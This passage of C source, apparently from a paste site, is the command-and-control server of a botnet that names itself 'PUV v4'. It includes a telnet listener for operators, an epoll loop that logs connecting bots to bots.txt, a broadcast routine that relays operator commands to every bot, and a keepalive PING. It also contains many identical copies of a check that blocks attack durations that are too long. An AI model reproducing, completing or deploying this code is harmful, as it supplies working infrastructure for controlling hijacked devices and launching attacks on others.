  730. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  731. fclose(logFile);
  732. goto end;
  733. }
  734. if(strstr(buf, "99999999999"))
  735. {
  736. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  737. FILE *logFile;
  738. logFile = fopen("TIME.log", "a");
  739. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  740. fclose(logFile);
  741. goto end;
  742. }
  743. if(strstr(buf, "99999999999"))
  744. {
  745. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  746. FILE *logFile;
  747. logFile = fopen("TIME.log", "a");
  748. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  749. fclose(logFile);
  750. goto end;
  751. }
  752. if(strstr(buf, "99999999999"))
  753. {
  754. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  755. FILE *logFile;
  756. logFile = fopen("TIME.log", "a");
  757. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  758. fclose(logFile);
  759. goto end;
  760. }
  761. if(strstr(buf, "99999999999"))
  762. {
  763. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  764. FILE *logFile;
  765. logFile = fopen("TIME.log", "a");
  766. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  767. fclose(logFile);
  768. goto end;
  769. }
  770. if(strstr(buf, "99999999999"))
  771. {
  772. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  773. FILE *logFile;
  774. logFile = fopen("TIME.log", "a");
  775. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  776. fclose(logFile);
  777. goto end;
  778. }
  779. if(strstr(buf, "99999999999"))
  780. {
  781. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  782. FILE *logFile;
  783. logFile = fopen("TIME.log", "a");
  784. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  785. fclose(logFile);
  786. goto end;
  787. }
  788. if(strstr(buf, "99999999999"))
  789. {
  790. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  791. FILE *logFile;
  792. logFile = fopen("TIME.log", "a");
  793. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  794. fclose(logFile);
  795. goto end;
  796. }
  797. trim(buf);
  798. if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  799. if(strlen(buf) == 0) continue;
  800. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  801. FILE *logFile;
  802. logFile = fopen("report.log", "a");
  803. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  804. fclose(logFile);
  805. broadcast(buf, thefd, usernamez);
  806. memset(buf, 0, 2048);
  807. }
  808.  
  809. end: // cleanup dead socket
  810. managements[thefd].connected = 0;
  811. close(thefd);
  812. managesConnected--;
  813. }
  814. void *telnetListener(int port)
  815. {
  816. int sockfd, newsockfd;
  817. socklen_t clilen;
  818. struct sockaddr_in serv_addr, cli_addr;
  819. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  820. if (sockfd < 0) perror("ERROR opening socket");
  821. bzero((char *) &serv_addr, sizeof(serv_addr));
  822. serv_addr.sin_family = AF_INET;
  823. serv_addr.sin_addr.s_addr = INADDR_ANY;
  824. serv_addr.sin_port = htons(port);
  825. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  826. listen(sockfd,5);
  827. clilen = sizeof(cli_addr);
  828. while(1)
  829. {
  830. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  831. if (newsockfd < 0) perror("ERROR on accept");
  832. pthread_t thread;
  833. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  834. }
  835. }
  836.  
  837. int main (int argc, char *argv[], void *sock)
  838. {
  839. signal(SIGPIPE, SIG_IGN);
  840. int s, threads, port;
  841. struct epoll_event event;
  842. if (argc != 4)
  843. {
  844. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  845. exit (EXIT_FAILURE);
  846. }
  847. port = atoi(argv[3]);
  848. printf("\x1b[31mTHIS SHIT PRIVATE,\x1b[36m DO NOT FUCKING LEAK, \x1b[34mPUV v4 \x1b[35mBOTNET \x1b[36mSCREENED\x1b[0m\n");
  849. telFD = fopen("bots.txt", "a+");
  850. threads = atoi(argv[2]);
  851. listenFD = create_and_bind (argv[1]);
  852. if (listenFD == -1) abort ();
  853. s = make_socket_non_blocking (listenFD);
  854. if (s == -1) abort ();
  855. s = listen (listenFD, SOMAXCONN);
  856. if (s == -1)
  857. {
  858. perror ("listen");
  859. abort ();
  860. }
  861. epollFD = epoll_create1 (0);
  862. if (epollFD == -1)
  863. {
  864. perror ("epoll_create");
  865. abort ();
  866. }
  867. event.data.fd = listenFD;
  868. event.events = EPOLLIN | EPOLLET;
  869. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  870. if (s == -1)
  871. {
  872. perror ("epoll_ctl");
  873. abort ();
  874. }
  875. pthread_t thread[threads + 2];
  876. while(threads--)
  877. {
  878. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  879. }
  880. pthread_create(&thread[0], NULL, &telnetListener, port);
  881. while(1)
  882. {
  883. broadcast("PING", -1, "puv");
  884. sleep(60);
  885. }
  886. close (listenFD);
  887. return EXIT_SUCCESS;
  888. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement